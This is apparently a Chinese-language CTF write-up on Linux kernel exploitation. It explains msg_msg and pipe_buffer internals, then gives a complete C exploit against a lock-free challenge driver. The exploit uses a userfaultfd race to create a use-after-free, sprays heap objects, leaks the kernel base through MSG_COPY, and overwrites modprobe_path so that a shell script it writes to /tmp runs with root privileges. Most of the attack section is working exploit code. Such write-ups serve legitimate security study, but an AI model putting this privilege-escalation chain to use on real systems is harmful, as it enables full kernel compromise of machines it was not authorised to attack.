消息队列是Linux的一种通信机制，这种通信机制传递的数据具有某种结构，而不是简单的字节流。消息队列的本质其实是一个内核提供的链表，内核基于这个链表，实现了一个数据结构。
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struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
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struct list_head {
struct list_head *next, *prev;
};
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struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
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int msgget(key_t key, int msgflag)
调用msgget函数会创建新的消息队列，或者获取已有的消息队列，若创建新的消息队列，会创建一个msg_queue结构体当消息队列msg_msg双向循环链表的起始节点。
需要注意的是后续若某进程调用msgsnd函数对消息队列进行写操作，需要该进程有写权限；同理msgrcv需要有读权限。这是由msgget函数中的第二个参数中的权限控制符所决定的。
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int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg)
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static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);
ns = current->nsproxy->ipc_ns;
if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;
msg = load_msg(mtext, msgsz);
...........
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struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
err = security_msg_msg_alloc(msg);
if (err)
goto out_err;
return msg;
out_err:
free_msg(msg);
return ERR_PTR(err);
}
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static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
return msg;
out_err:
free_msg(msg);
return NULL;
}
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ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp,int msgflg)
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static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
struct msg_msg *msg, *found = NULL;
long count = 0;
list_for_each_entry(msg, &msq->q_messages, m_list)
{
if (testmsg(msg, *msgtyp, mode) &&
!security_msg_queue_msgrcv(&msq->q_perm, msg, current,
*msgtyp, mode))
{
if (mode == SEARCH_LESSEQUAL && msg->m_type != 1)
{
*msgtyp = msg->m_type - 1;
found = msg;
}
else if (mode == SEARCH_NUMBER)
{
if (*msgtyp == count)
return msg;
}
else
return msg;
count++;
}
}
return found ?: ERR_PTR(-EAGAIN);
}
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static int testmsg(struct msg_msg *msg, long type, int mode)
{
switch (mode) {
case SEARCH_ANY:
case SEARCH_NUMBER:
return 1;
case SEARCH_LESSEQUAL:
if (msg->m_type <= type)
return 1;
break;
case SEARCH_EQUAL:
if (msg->m_type == type)
return 1;
break;
case SEARCH_NOTEQUAL:
if (msg->m_type != type)
return 1;
break;
}
return 0;
}
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static inline int convert_mode(long *msgtyp, int msgflg)
{
if (msgflg & MSG_COPY)
return SEARCH_NUMBER;
/*
* find message of correct type.
* msgtyp = 0 => get first.
* msgtyp > 0 => get first message of matching type.
* msgtyp < 0 => get message with least type must be < abs(msgtype).
*/
if (*msgtyp == 0)
return SEARCH_ANY;
if (*msgtyp < 0) {
if (*msgtyp == LONG_MIN) /* -LONG_MIN is undefined */
*msgtyp = LONG_MAX;
else
*msgtyp = -*msgtyp;
return SEARCH_LESSEQUAL;
}
if (msgflg & MSG_EXCEPT)
return SEARCH_NOTEQUAL;
return SEARCH_EQUAL;
}
特例：MSG_COPY位为1的时候，mode为SEARCH-NUMBER,在find_msg中会返回msg_msg双向循环链表中，第msgtyp个msg_msg，也就是返回第msgtyp条消息，而不是上述表格中根据msgtyp去和msg->m_type进行匹配。
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static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
...........
...........
list_del(&msg->m_list);
...........
...........
free_msg(msg);
return bufsz;
内核首先会调用 list_del() 将其从 msg_queue 的双向链表上 unlink，之后再调用 free_msg() 释放 msg_msg 单向链表上的所有消息。
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bufsz = msg_handler(buf, msg, bufsz);
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long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,
long msgtyp, int msgflg)
{
return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}
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static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
struct msgbuf __user *msgp = dest;
size_t msgsz;
if (put_user(msg->m_type, &msgp->mtype))
return -EFAULT;
msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
if (store_msg(msgp->mtext, msg, msgsz))
return -EFAULT;
return msgsz;
}
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int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;
alen = min(len, DATALEN_MSG);
if (copy_to_user(dest, msg + 1, alen))
return -1;
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG);
if (copy_to_user(dest, seg + 1, alen))
return -1;
}
return 0;
}
若有MSG_COPY标志，源码注释：If we are copying, then do not unlink message and do not update queue parameters.
不会调用list_del()去进行unlink，并且最后free_msg()释放的是我们在内核中copy出来的堆块。也就是说，我们可以通过设置MSG_COPY多次读取一条消息。
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if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}
list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);
goto out_unlock0;
}
MSG_COPY位为1的时候，mode为SEARCH-NUMBER,在find_msg中会返回msg_msg双向循环链表中，第msgtyp个msg_msg，也就是返回第msgtyp条消息，而不是上述表格中根据msgtyp去和msg->m_type进行匹配。
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static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
struct msg_msg *copy;
/*
* Create dummy message to copy real message to.
*/
copy = load_msg(buf, bufsz);
if (!IS_ERR(copy))
copy->m_ts = bufsz;
return copy;
但是需要注意的是，我们需要伪造我们需要读的地址target的next指针为NULL，不然在store_msg进行数据拷贝的时候，是以NULL指针为结束判断条件，因此我们需要满足target->next==NULL or target->next->next==NULL，反正需要我们伪造的任意读链表存在一个NULL节点，且中途不能到达不可读地址，否则会造成kernel panic。
在do_msgsnd函数中调用了load_msg进行用户到内核的数据拷贝，若我们利用userfault机制暂停一个线程，再在另一个线程中篡改掉msg->next指针，则可以实现任意地址写。
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struct list_head {
uint64_t next;
uint64_t prev;
};
struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
struct msg_msgseg {
uint64_t next;
};
struct msgbuf {
long mtype;
char mtext[0];
};
int getMsgQueue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}
/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}
/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}
void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}
pipe是Linux系统跨进程通信的一种方式。管道是连接一个读进程和一个写进程，以实现它们之间通信的共享文件。基于pipe族系统调用实现(而非open())。而这个文件不是真正的文件，向管道文件读写数据其实是在读写内核缓冲区。
pipe() 创建一个管道，一个可用于进程间通信的单向数据通道。 数组 pipefd 用于返回两个指向管道末端的文件描述符。 pipefd[0] 是管道的读端fd。 pipefd[1] 是管道的写端fd。 写端把数据写入管道，直到读端读取数据。
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struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
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struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
struct user_struct *user = get_current_user();
unsigned long user_bufs;
unsigned int max_size = READ_ONCE(pipe_max_size);
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if (pipe == NULL)
goto out_free_uid;
if (pipe_bufs * PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))
pipe_bufs = max_size >> PAGE_SHIFT;
user_bufs = account_pipe_buffers(user, 0, pipe_bufs);
if (too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {
user_bufs = account_pipe_buffers(user, pipe_bufs, PIPE_MIN_DEF_BUFFERS);
pipe_bufs = PIPE_MIN_DEF_BUFFERS;
}
if (too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())
goto out_revert_acct;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
if (pipe->bufs) {
init_waitqueue_head(&pipe->rd_wait);
init_waitqueue_head(&pipe->wr_wait);
pipe->r_counter = pipe->w_counter = 1;
pipe->max_usage = pipe_bufs;
pipe->ring_size = pipe_bufs;
pipe->nr_accounted = pipe_bufs;
pipe->user = user;
mutex_init(&pipe->mutex);
return pipe;
}
out_revert_acct:
(void) account_pipe_buffers(user, pipe_bufs, 0);
kfree(pipe);
out_free_uid:
free_uid(user);
return NULL;
}
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unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
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struct pipe_buf_operations {
/*
* ->confirm() verifies that the data in the pipe buffer is there
* and that the contents are good. If the pages in the pipe belong
* to a file system, we may need to wait for IO completion in this
* hook. Returns 0 for good, or a negative error value in case of
* error. If not present all pages are considered good.
*/
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
/*
* Attempt to take ownership of the pipe buffer and its contents.
* ->try_steal() returns %true for success, in which case the contents
* of the pipe (the buf->page) is locked and now completely owned by the
* caller. The page may then be transferred to a different mapping, the
* most often used case is insertion into different file address space
* cache.
*/
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
/*
* Get a reference to the pipe buffer.
*/
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
主要关注其release指针，在我们关闭一个管道的两端之后，管道会被释放，同样pipe_buffer也会被释放。调用的是函数表中的release指针。调用路径为：free_pipe_info->pipe_buf_release
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static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
...
...
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
...
...
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int __fastcall kernel_release(inode *inode, file *filp)
{
char **v2; // rax
int result; // eax
_fentry__();
v2 = addrList;
do
*v2++ = 0LL;
while ( v2 != &addrList[32] );
kfree(buffer, filp);
result = 0;
flags = 0;
return result;
}
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void kernel_open()
{
__int64 v0; // rdi
_fentry__();
if ( !flags )
{
v0 = kmalloc_caches[8];
flags = 1;
buffer = (char *)kmem_cache_alloc_trace(v0, 0xCC0LL, 0x100LL);
if ( buffer )
kernel_open_cold();
}
}
但是由于kernel_read和kernel_write，kernel_open与kernel_release均未加锁，且read与write中含有类似于如下的copy_to_user操作：
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if ( copy_to_user(a2, v4, v5) )
return -2LL;
所有功能都未加锁，因此可以用userfaultfd在edit时将进程卡死，在另一个线程中free掉这个堆块后申请某些object到该地址上，实现0x400 size object的UAF（只能更改一次值）。
笔者最先考虑的是用pipe_buffer提权，刚好满足0x400的size，因此我们利用UAF将pipe_buffer->pipe_buf_operations->release函数指针更改为某个栈迁移gadget即可。
同时还有例如mov esp,esi类型的gadget，由于intel x86&x64的调用约定，当对32位寄存器进行赋值操作的时候，会将高32位寄存器值清零，因此也不可用。
同时注意到程序没有开启CONFIG_STATIC_USERMODEHELPER保护，因此笔者选择用UAF劫持0x400 size的freelist到modprobe_path附近，更改modprobe_path。
因为modprobe_path是一个Linux程序，最初由Rusty Russell编写，用于在Linux内核中添加一个可加载的内核模块，或者从内核中移除一个可加载的内核模块，因此modprobe是安装某个内核模块，而kmod是一个用于控制linux内核模块的程序，因此在后续调用中需要用到
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size_t fd;
size_t kernel_base;
size_t tmp_buf[0x500];
char *msg_buf;
size_t fake_ops_buf[0x100];
int ms_qid[0x100];
int pipe_fd[0x20][2];
sem_t sem_addmsg;
sem_t sem_editmsg;
sem_t edit_down;
sem_t edit_heap_next;
sem_t sem_edit_msg_for_modpath;
struct list_head {
size_t next;
size_t prev;
};
struct msg_msg {
struct list_head m_list;
size_t m_type;
size_t m_ts;
size_t next;
size_t security;
};
struct msg_msgseg {
size_t next;
};
// struct msgbuf {
// long mtype;
// char mtext[0];
// };
int getMsgQueue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}
/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}
/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}
void buildMsg(struct msg_msg *msg, size_t m_list_next, size_t m_list_prev,
size_t m_type, size_t m_ts, size_t next, size_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}
typedef struct delete
{
size_t idx;
}delete_arg;
typedef struct edit
{
size_t idx;
size_t size;
char *content;
}edit_arg;
typedef struct add
{
size_t idx;
char *content;
}add_arg;
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}
void add(char *content)
{
add_arg tmp=
{
.content = content,
};
ioctl(fd,0x20,&tmp);
}
void delete(size_t idx)
{
delete_arg tmp=
{
.idx=idx,
};
ioctl(fd,0x30,&tmp);
}
void edit(size_t idx,size_t size,char *content)
{
edit_arg tmp=
{
.idx=idx,
.size = size,
.content=content,
};
ioctl(fd,0x50,&tmp);
}
void leak(size_t *content,size_t size)
{
printf("[*]Leak: ");
for(int i=0;i<(int)(size/8);i++)
{
printf("%llx\n",content[i]);
}
}
void RegisterUserfault(void *fault_page, void* handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
size_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理，当发生缺页时，程序会阻塞，此时，我们在另一个线程里操作
ErrExit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程，接收错误的信号，然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}
static char *page = NULL; // 你要拷贝进去的数据
static char *buf = NULL;
static char *buf2 = NULL;
static char *buf3 = NULL;
static long page_size;
static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
puts("[+] sleep3 handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] sleep3 handler unblocked");
sem_post(&sem_addmsg);
if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}
sem_wait(&sem_editmsg);
char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
memset(tmp_buf, 0, 0x50);
tmp_buf[3] = 0xd00;
memcpy(page,tmp_buf,0x50);
// strcpy(page,"Lotus_just_Test");
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] sleep3 handler done");
return NULL;
}
void UAF()
{
sem_wait(&sem_addmsg);
delete(0);
// RED puts("in"); CLOSE
int ret=0;
for (int i = 0; i < 0x1; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}
for (int i = 0; i < 0x2; i++)
{
memset(msg_buf, 'A' + i, 0X400 - 8);
ret = msgsnd(ms_qid[0], msg_buf, 0x400 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}
RED puts("[*] msg_msg spraying finish."); CLOSE
sem_post(&sem_editmsg);
}
static void *
fault_handler_thread2(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
puts("[+] edit heap->next handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] edit heap->next handler unblocked");
sem_post(&edit_heap_next);
if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}
sem_wait(&edit_down);
char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
memcpy(page,fake_ops_buf,0x208);
// leak(page,0x208);
// strcpy(page,"Lotus_just_Test");
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] edit heap->next handler down!");
return NULL;
}
void UAF2()
{
sem_wait(&edit_heap_next);
delete(0);
sem_post(&edit_down);
}
void modprobe_path_hijack(void){
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\nchmod 777 /flag\n' > /tmp/Lotus.sh");
system("chmod +x /tmp/Lotus.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
// system("cat /proc/sys/kernel/modprobe");
puts("[*] Run unknown file");
system("/tmp/fake");
system("ls -al /flag");
system("cat /flag");
RED puts("[*]Get shell!"); CLOSE
sleep(5);
}
int main()
{
pthread_t edit_t,edit2_t;
msg_buf = malloc(0x1000);
memset(msg_buf, 0, 0x1000);
fd = open("/dev/kernelpwn",O_RDWR);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); //for edit msg->m_ts
buf2 = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);//for spray the msg_msg and edit msg->next
RegisterUserfault(buf,fault_handler_thread);
RegisterUserfault(buf2,fault_handler_thread2);
sem_init(&sem_addmsg,0,0);
sem_init(&sem_editmsg,0,0);
sem_init(&edit_heap_next,0,0);
sem_init(&sem_edit_msg_for_modpath,0,0);
sem_init(&edit_down,0,0);
add("TEST_chunk");
pthread_create(&edit_t,NULL,UAF,0);
pthread_create(&edit2_t,NULL,UAF2,0);
edit(0,0x20,buf);
GREEN puts("[*]Write in!"); CLOSE
for (int i = 0; i < 1; i++)
{
if (pipe(pipe_fd[i]) < 0)
{
RED puts("failed to create pipe!"); CLOSE
}
if (write(pipe_fd[i][1], "_Lotus_", 8) < 0)
{
RED puts("failed to write the pipe!"); CLOSE
}
}
RED puts("[*] pipe_buffer spraying finish."); CLOSE
memset(tmp_buf, 0, 0x1000);
if(peekMsg(ms_qid[0],tmp_buf,0xe00,0)<0)
{
RED puts("[*]Leak error!"); CLOSE
}
// leak(tmp_buf,0xd00);
kernel_base = tmp_buf[0x7e8/8]-0x103ed80;
size_t pipe_addr = tmp_buf[0x3e0/8]+0xc00;
BLUE printf("[*]Kernel_base: 0x%llx\n",kernel_base); CLOSE
BLUE printf("[*]pipe_addr: 0x%llx\n",pipe_addr); CLOSE
close(pipe_fd[0][0]);
close(pipe_fd[0][1]);
// size_t push_rsi_pop_rsp = real(0xffffffff81934056);//push rsi; pop rsp; retf;
// size_t push_rsi_pop_rbp = real(0xffffffff81422d1f);//push rsi; pop rbp; ret;
// size_t call_rsi_leave_ret = real(0xffffffff81c0114d);//call rsi; nop; nop; nop; leave; ret;
size_t modprobe_path = real(0xffffffff82a6c000);
memset(fake_ops_buf, 0x61,0x800);
fake_ops_buf[0x200/8] = modprobe_path-0xc0;
add("Lotus_chunk");
edit(0,0x208,buf2);
for (int i = 1; i < 0x3; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}
size_t modprobe_path_buf[0x80];
memset(modprobe_path_buf,0,0x400);
int idx=0x34;
modprobe_path_buf[idx++]=real(0xffffffff82a6c108);
modprobe_path_buf[idx++]=real(0xffffffff82a6c108);
modprobe_path_buf[idx++]=0x32;
modprobe_path_buf[0]=0xdeadbeef;
modprobe_path_buf[0x13]=0x746f4c2f706d742f;
modprobe_path_buf[0x14]=0x68732e7375;
for (int i = 1; i < 0x3; i++)
{
int ret = msgsnd(ms_qid[i], modprobe_path_buf, 0x400 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}
RED puts("[*]edit modprobe_path success."); CLOSE
modprobe_path_hijack();
}
但是奇怪的是，按理来说两种编译方式不会对poc造成影响，gcc的可以正常运行，而musl-gcc在modprobe_path_hijack后，第一次调用system时，内核会panic在slub里。
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